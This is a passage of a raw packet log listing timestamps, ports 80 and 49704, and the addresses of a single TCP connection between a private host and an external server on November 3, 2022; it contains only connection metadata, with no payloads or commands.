Nov 3, 2022 12:46:57.733769894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733787060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733803988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733819962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733913898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733931065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733947992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733948946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733983040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734075069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734092951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734111071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734127045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734136105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734143972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734159946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734167099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734200001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734328985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734347105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734364033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734386921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734457970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734476089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734492064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734493017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734524012 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734555960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734572887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734590054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734606981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734606981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734622955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734638929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734639883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734672070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734733105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734750986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734769106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734786034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.734873056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734899998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734911919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734925032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734937906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.734973907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735006094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735061884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735080004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735096931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735112906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735120058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735150099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735224962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735243082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735292912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735373020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735390902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735409021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735433102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735433102 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735450983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735466957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735469103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735502958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735702038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735719919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735737085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735769033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735816002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735833883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735852003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735857010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.735868931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735882044 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735893965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735920906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.735986948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736000061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736017942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736040115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736052990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736077070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736114979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736124039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736144066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736156940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736183882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736196995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736208916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736320972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736340046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736377954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736394882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736412048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736412048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736428976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736440897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736448050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736471891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736479998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736496925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736514091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736515045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736542940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736546993 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736560106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736577034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736593008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736597061 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736609936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736627102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736628056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736643076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736659050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736663103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736675978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736692905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736876011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736893892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736911058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736913919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736927986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736944914 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736946106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736963034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736979008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.736979961 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.736995935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737011909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737014055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737061977 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737221003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737238884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737255096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737272024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737287998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737291098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737304926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737322092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737323999 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737339020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737344027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737355947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737374067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737375021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737390995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737407923 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737407923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737426043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737442970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737449884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737459898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737476110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737478971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737492085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737509012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737509966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737540960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737572908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737590075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737607002 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737631083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737636089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737653017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737668991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737669945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737704039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737755060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737771034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737787008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737802982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737806082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737819910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737838030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737838030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737871885 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.737936974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737955093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737972021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.737993956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738001108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738019943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738037109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738037109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738074064 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738094091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738111973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738128901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738145113 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738199949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738217115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738234043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738235950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738255978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738265991 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738272905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738290071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738306046 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738343000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738359928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738377094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.738378048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.738409042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.740082979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.789967060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.789992094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790009022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790023088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790035963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790055037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790071964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790085077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790101051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790112019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790117979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790134907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790139914 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790153027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790169954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790186882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790193081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790210009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790215969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790226936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790244102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790246964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790261984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790278912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790294886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790297985 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790312052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790322065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790328979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790345907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790353060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790364027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790386915 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790426970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790443897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790461063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790466070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790479898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790498018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790508986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790513992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790533066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790604115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790621996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790637970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790642023 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790668011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790672064 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790683985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790700912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790719986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790766001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790783882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790801048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790802956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790831089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790834904 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790849924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790867090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790895939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.790958881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790976048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.790993929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791023970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791033983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791047096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791064978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791081905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791098118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791107893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791115046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791131973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791136980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791147947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791165113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791167021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791181087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791201115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791318893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791337013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791352987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791359901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791369915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791387081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791393042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791403055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791424990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791513920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791532040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791548014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791553020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791585922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791589022 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791603088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791620970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791639090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791671991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791688919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791704893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791708946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791738987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791867018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791883945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791902065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791917086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791932106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791934013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791950941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.791960001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.791996002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792047977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792066097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792115927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792151928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792169094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792186975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792205095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792440891 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792458057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792474985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792498112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792529106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792618036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792649031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792697906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792772055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792788982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792807102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792824030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792830944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792840004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792856932 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792859077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792874098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792891026 CET	80	49704	193.106.191.15	192.168.2.6
